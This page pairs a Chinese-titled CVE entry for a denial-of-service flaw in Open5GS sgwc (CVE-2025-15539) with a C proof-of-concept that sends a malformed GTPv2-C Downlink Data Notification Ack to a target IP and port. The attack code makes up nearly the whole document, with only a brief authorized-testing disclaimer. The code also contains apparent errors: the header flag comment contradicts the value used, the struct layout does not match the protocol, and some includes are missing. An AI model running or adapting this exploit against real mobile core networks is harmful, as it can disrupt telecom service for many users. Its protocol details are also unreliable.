Open5GS sgwc组件拒绝服务漏洞 (CVE-2025-15539)

/* * CVE-2025-15539 PoC - Open5GS sgwc DoS * Target: Open5GS sgwc_s11_handle_downlink_data_notification_ack * This PoC demonstrates sending a malformed S11 GTPv2-C message * to trigger the denial of service condition. * * Note: This is for educational and authorized testing purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> // GTPv2-C Message Types #define GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK 0xBF // GTPv2-C Header Structure typedef struct { uint8_t flags; uint8_t message_type; uint16_t length; uint32_t teid; uint32_t sequence; uint8_t spare[2]; } __attribute__((packed)) gtp2c_header_t; // Malformed IE for triggering the vulnerability typedef struct { uint16_t type; uint16_t length; uint8_t value[4]; } __attribute__((packed)) ie_t; void send_malformed_packet(const char *target_ip, int port) { int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock < 0) { perror("Socket creation failed"); return; } struct sockaddr_in target; memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(port); inet_pton(AF_INET, target_ip, &target.sin_addr); // Construct malformed GTPv2-C packet unsigned char packet[256]; memset(packet, 0, sizeof(packet)); gtp2c_header_t *hdr = (gtp2c_header_t *)packet; hdr->flags = 0x40; // Version 1, no TEID present hdr->message_type = GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK; hdr->length = htons(12); // Minimal length hdr->teid = 0; hdr->sequence = htonl(0x000001); // Malformed IE that triggers the vulnerability ie_t *ie = (ie_t *)(packet + sizeof(gtp2c_header_t)); ie->type = 0x00; // Invalid IE type ie->length = htons(0xFFFF); // Oversized length memset(ie->value, 0xFF, 4); printf("[*] Sending malformed GTPv2-C packet to %s:%d\n", target_ip, port); printf("[*] Message Type: 0x%02X (DOWNLINK_DATA_NOTIFICATION_ACK)\n", GTP2C_DOWNLINK_DATA_NOTIFICATION_ACK); int sent = sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target, sizeof(target)); printf("[*] Sent %d bytes\n", sent); close(sock); } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s <target_ip> <port>\n", argv[0]); printf("Example: %s 192.168.1.100 2123\n", argv[0]); return 1; } send_malformed_packet(argv[1], atoi(argv[2])); return 0; }